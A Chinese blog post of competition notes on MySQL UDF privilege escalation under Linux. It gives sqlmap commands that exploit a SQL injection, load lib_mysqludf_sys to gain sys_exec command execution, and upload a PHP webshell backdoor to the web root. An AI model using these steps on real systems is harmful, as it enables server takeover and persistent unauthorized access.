Ourren

关注技术,记录生活.

Linux下MySQL Udf 提权

| 留言

前几天做一个小竞赛中有一个题目:给定的测试环境登录页面有POST注入漏洞,于是果断操起sqlmap跑数据,无意中发现当前MySQL连接用户为root,于是想到udf提权「虽然Windows下MySQL提权基本上没问题,但是Linux环境下原来一直没成功过。」,最终成功获取root权限「主要问题在于MySQL是以root权限运行」,记录笔记如下,方便以后查阅:

具体步骤如下

  1. 找到MySQL插件目录:

     python sqlmap.py -u 'http://xxxx' --sql-shell
    
     show variables like "%plugin%";
    
  2. 利用sqlmap上传 lib_mysqludf_sys到MySQL插件目录;

     python sqlmap.py -u 'http://xxxx' --file-write=/lib_mysqludf_sys.so 
     --file-dest=/usr/lib/mysql/plugin/
    

  1. 激活存储过程「sys_exec」函数:

     python sqlmap.py -u 'http://xxxx' --sql-shell
    
     CREATE FUNCTION sys_exec RETURNS STRING SONAME lib_mysqludf_sys.so
    
     SELECT * FROM information_schema.routines
    
     sys_exec(id);
    
  2. 也利用sqlmap上传后门程序:

     python sqlmap.py -u 'http://xxx'  --file-write=C:/phpspy.php --file-dest=/var/www/spy.php
    

测试环境

  • Linux Ubuntu 11.04 (Natty Narwhal)
  • PHP 5.3.5, Apache 2.2.17
  • MySQL 5.0

参考资料

  1. http://forelsec.blogspot.com/2012/08/solving-pwn0s-v2.html
  2. https://github.com/mysqludf/lib_mysqludf_sys
  3. https://code.google.com/p/mysql-udf-http/